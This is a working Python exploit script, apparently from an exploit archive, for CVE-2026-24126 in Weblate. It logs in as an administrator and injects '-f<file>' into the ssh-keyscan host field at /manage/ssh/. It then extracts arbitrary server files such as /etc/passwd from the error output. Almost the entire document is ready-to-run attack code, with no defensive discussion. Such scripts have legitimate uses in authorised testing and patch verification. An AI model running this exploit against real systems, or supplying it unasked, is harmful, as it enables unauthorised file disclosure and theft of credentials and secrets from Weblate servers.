Weblate Arbitrary File Read via ssh-keyscan Host Argument Injection — CVE-2026-24126

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127

#!/usr/bin/env python
import requests
import argparse
import re
from bs4 import BeautifulSoup
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Debug configuration
proxies = {
    "http": "http://127.0.0.1:8080",
}

AGENT = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.4495.75 Safari/537.36"

def parse_response(html_content):
    soup = BeautifulSoup(html_content, 'html.parser')

    # Look for the error block where the leaked data resides
    error_div = soup.find('div', class_='alert-danger')

    if not error_div:
        return "[-] Data block not found in the response."

    raw_text = error_div.get_text()

    patterns = [
        r"getaddrinfo\s+(.*?):\s+Name or service not known",
        r"write\s+\((.*?)\):\s+Connection refused",
        r"connect\s+[`'‘](.*?)['’]:\s+Network is unreachable"
    ]

    extracted_lines = []
    for pattern in patterns:
        matches = re.findall(pattern, raw_text, re.MULTILINE)
        for m in matches:
            line = m.strip()
            if line and "Could not get host key" not in line:
                extracted_lines.append(line)

    if not extracted_lines:
        return f"[-] Extraction failed. Raw text snippet: {raw_text[:100]}..."

    return "\n".join(list(dict.fromkeys(extracted_lines)))

def exploit(session, rhost, file):

    response_get = session.get(rhost, verify=False)
    soup = BeautifulSoup(response_get.text, 'html.parser')
    csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']

    endpoint = '/manage/ssh/'
    url = f"{rhost.rstrip('/')}{endpoint}"
    payload = f'-f{file}'

    headers = {
        "User-Agent": AGENT,
        "Referer": f"{rhost.rstrip('/')}/manage/ssh/"
    }

    data = {
        "csrfmiddlewaretoken": csrf_token,
        "host": payload,
        "port": 123,
        "action": "add-host"
    }

    print(f"[*] Sending payload to {url}, this could take some time, please be patient...")
    r = session.post(url, data=data, headers=headers, verify=False)

    print("\n[+] Extracted file content:")
    print("-" * 50)
    print(parse_response(r.text))
    print("-" * 50)
    print(f"[!] Exploit finished")

def login(rhost, username, password):

    session = requests.Session()
    login_url = f"{rhost.rstrip('/')}/accounts/login/"

    try:
        response_get = session.get(login_url, verify=False)

        soup = BeautifulSoup(response_get.text, 'html.parser')
        csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']

        headers = {
            "User-Agent": AGENT,
            "Referer": login_url,
            "Origin": rhost,
            "Content-Type": "application/x-www-form-urlencoded"
        }

        payload = {
            "csrfmiddlewaretoken": csrf_token,
            "username": username,
            "password": password,
            "next": "/"
        }

        response_post = session.post(login_url, data=payload, headers=headers, verify=False)

        if response_post.status_code == 200 and "logout" in response_post.text.lower():
            print(f"\n[+] Login successful for user: {username}")
            return session
        else:
            print("[-] Login failed. Please check your credentials or CSRF token.")
            return None

    except Exception as e:
        print(f"[!] Network Error: {e}")
        return None

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Exploit script for Weblate SSH key management vulnerability.")
    parser.add_argument('-r','--rhost', type=str, required=True, help="Weblate Host (e.g., https://vulnerable-site.com)")
    parser.add_argument('-u','--username', type=str, required=True, help="Weblate Administrator Username")
    parser.add_argument('-p','--password', type=str, required=True, help="Weblate Administrator Password")
    parser.add_argument('-f','--file', type=str, required=True, help="Path to the file to read (e.g., /etc/passwd)")
    args = parser.parse_args()

    auth_session = login(args.rhost, args.username, args.password)

    if auth_session:
        exploit(auth_session, args.rhost, args.file)